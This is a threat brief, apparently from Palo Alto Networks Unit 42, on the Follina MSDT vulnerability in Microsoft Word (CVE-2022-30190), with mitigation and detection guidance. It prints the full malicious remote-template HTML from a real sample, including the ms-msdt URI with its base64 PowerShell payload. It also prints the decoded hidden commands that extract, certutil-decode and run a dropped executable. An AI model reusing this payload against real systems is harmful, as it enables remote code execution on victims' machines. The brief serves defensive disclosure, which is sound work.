Threat Brief: CVE-2022-30190 — MSDT Code Execution Vulnerability

- 6,862 people reacted
- 12
- 4 min. read

By Shawn Westfall

May 31, 2022 at 2:45 PM

Category: Threat Brief, Threat Briefs and Assessments, Vulnerability

Tags: CVE-2022-30190, Follina, Microsoft Office, remote code execution, zero-click

This post is also available in: 日本語 (Japanese)

Executive Summary

On May 27, 2022, details began to emerge of malicious Word documents leveraging remote templates to execute PowerShell via the ms-msdt Office URI scheme. The use of this technique appeared to allow attackers to bypass local Office macro policies to execute code within the context of Word. Microsoft has since released protection guidance and assigned CVE-2022-30190 to this vulnerability.

Due to the amount of publicly available information, ease of use, and the extreme effectiveness of this exploit, Palo Alto Networks is providing this threat brief to make our customers aware of this critical vulnerability and the options available to ensure proper protections are put into place until a patch can be issued by Microsoft. The vulnerability enables remote code execution with the same privileges as the calling application and there are proof-of-concept examples of zero-click variants. Therefore, exploits for this vulnerability have potential to be of high impact.

We highly recommend following Microsoft's guidance to protect your enterprise until a patch is issued to fix the problem.

All known samples and URLs associated with this attack have been flagged in the Palo Alto Networks product suite so customers can receive protections.

Vulnerability Discussed CVE-2022-30190 aka Follina

Table of Contents

Attack Details for CVE-2022-30190 CVE-2022-30190 in the Wild Conclusion

Attack Details for CVE-2022-30190

On May 27, 2022, a cybersecurity research team out of Tokyo, Japan, nao_sec, uncovered a malicious Word document uploaded to VirusTotal from an IP in Belarus. The document was abusing the Microsoft Word remote template feature to retrieve a malicious HTML file that subsequently used the ms-msdt Office URI scheme to execute PowerShell within the context of Word.

On May 30, Keven Beaumont wrote an article detailing the specifics of the initial incident. The important thing to note here is that the decoy Word document had nothing inherently malicious outside of the link to the template hosted at hxxp://xmlformats[.]com, allowing it to bypass EDR solutions. The HTML code from the remote template is shown in Figure 1 below.

```
<doctype html>
<html lang="en">
<body>
<script>
//AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
window.location.href = "ms-msdt:/id PCWDiagnostic /skip force
/param \"IT_RebrowseForFile=calc IT_LaunchMethod=ContextMenu
IT_SelectProgram=NotListed
IT_BrowseForFile=h$(Invoke-Expression($(Invoke-Expression('[Syst
em.Text.Encoding]'+[char]58+[char]58+'UTF8.GetString([System.Con
vert]'+[char]58+[char]58+'FromBase64String('+[char]34+'JGNtZCA9I
CJjOlx3aW5kb3dzXHN5c3RlbTMyXGNtZC5leGUiO1N0YXJ0LVByb2Nlc3MgJGNtZ
CAtd2luZG93c3R5bGUgaGlkZGVuIC1Bcmd1bWVudExpc3QgIi9jIHRhc2traWxsI
C9mIC9pbSBtc2R0LmV4ZSI7U3RhcnQtUHJvY2VzcyAkY21kIC13aW5kb3dzdHlsZ
SBoaWRkZW4gLUFyZ3VtZW50TGlzdCAiL2MgY2QgQzpcdXNlcnNccHVibGljXCYmZ
m9yIC9yICV0ZW1wJSAlaSBpbiAoMDUtMjAyMi0wNDM4LnJhcikgZG8gY29weSAla
SAxLnJhciAveSYmZmluZHN0ciBUVk5EUmdBQUFBIDEucmFyPjEudCYmY2VydHV0a
WwgLWRlY29kZSAxLnQgMS5jICYmZXhwYW5kIDEuYyAtRjoqIC4mJnJnYi5leGUiO
w==='+[char]34+'))'))))i/../../../../../../../../../../../../../.
./Windows/System32/mpsigstub.exe IT_AutoTroubleshoot=ts_AUTO\""
</script>
</body>
</html>
```

Figure 1. Remote template HTML code.

The JavaScript embedded within the HTML uses the ms-msdt schema to invoke the PCWDiagnostic pack, to reference the IT_BrowseForFile to execute the base64-encoded PowerShell Invoke-Expression command.

The base64-decoded text within the PowerShell Invoke-Expression is shown in Figure 2 below.

```
$cmd = "c:\windows\system32\cmd.exe";
Start-Process $cmd -windowstyle hidden -ArgumentList "/c
taskkill /f /im msdt.exe";
Start-Process $cmd -windowstyle hidden -ArgumentList "/c cd
C:\users\public\&&for /r %temp% %i in (05-2022-0438.rar) do copy
%i 1.rar /y&&findstr TVNDRgAAAA 1.rar>1.t&&certutil -decode 1.t
1.c &&expand 1.c -F:* .&&rgb.exe";
```

Figure 2. Base64-decoded PowerShell contents.

This code does a few things. First it kills the msdt.exe process. Then the code loops through the files within a .rar archive looking for a CAB file (TVNDRgAAAA base64 decodes to MSCF, which is the magic header of a CAB file). It then stores it in a file called 1.t. 1.t, which gets base64 decoded to 1.c, expanded to rgb.exe and then finally executed.

None of the reports we've seen have recovered the final payload. Therefore, the contents are unknown.

The use of remote templates to deliver malicious documents is not new, however, historically they've been used to host .docm or dotm (macro-enabled Word documents), which would still be affected by the local systems's Word macro policy. Therefore, the vulnerability of particular note in this attack

lies in calling the Microsoft Support Diagnostic Tool (MSDT) using the ms-msdt URL Protocol within Word via the remotely loaded template file. This allows execution of code within the context of Microsoft Word, even if macros are disabled.

Protected View was triggered during execution of the nao_sec example, however, John Hammond demonstrated you can bypass Protected View by using an RTF file instead. This allows the attack to succeed even if the user simply views the file in the preview pane — with no clicks on the document necessary — making the attack much more dangerous.

Microsoft has since released protection guidance and assigned CVE-2022-30190 to this vulnerability. They provided a workaround to disable the MSDT URL protocol, however, this may break other diagnostic tools that rely on the MSDT URL protocol to operate. They also recommend ensuring cloud-delivered protections and automatic sample submission for Microsoft Defender are enabled. Microsoft recommends that customers of Microsoft Defender for Endpoint enable the attack surface reduction rule BlockOfficeCreateProcessRule.

CVE-2022-30190 in the Wild

So far, Palo Alto Networks is only seeing indications of testing within our customer telemetry indicated by final payload execution of benign executables such as calc.exe and notepad.exe. Palo Alto Networks and Unit 42 will continue to monitor for evidence of exploitation and further novel use cases.

Conclusion

Based on the amount of publicly available information, the ease of use and the extreme effectiveness of this exploit, Palo Alto Networks highly recommends following Microsoft's guidance to protect your enterprise until a patch is issued to fix the problem.

WildFire and Cortex XDR categorize all known samples we've come across as malware.

Cortex XDR detects the exploitation attempts and reports them with Behavioral Threat Protection.

Additionally, all encountered URLs have been flagged as malware within PAN-DB, the Advanced URL Filtering URL database.

If you think you may have been compromised or have an urgent matter, get in touch with the Unit 42 Incident Response team or call:

- North America Toll-Free: 866.486.4842 (866.4.UNIT42)
- EMEA: +31.20.299.3130
- APAC: +65.6983.8730
- Japan: +81.50.1790.0200

As further information or detections are put into place, Palo Alto Networks will update this publication accordingly.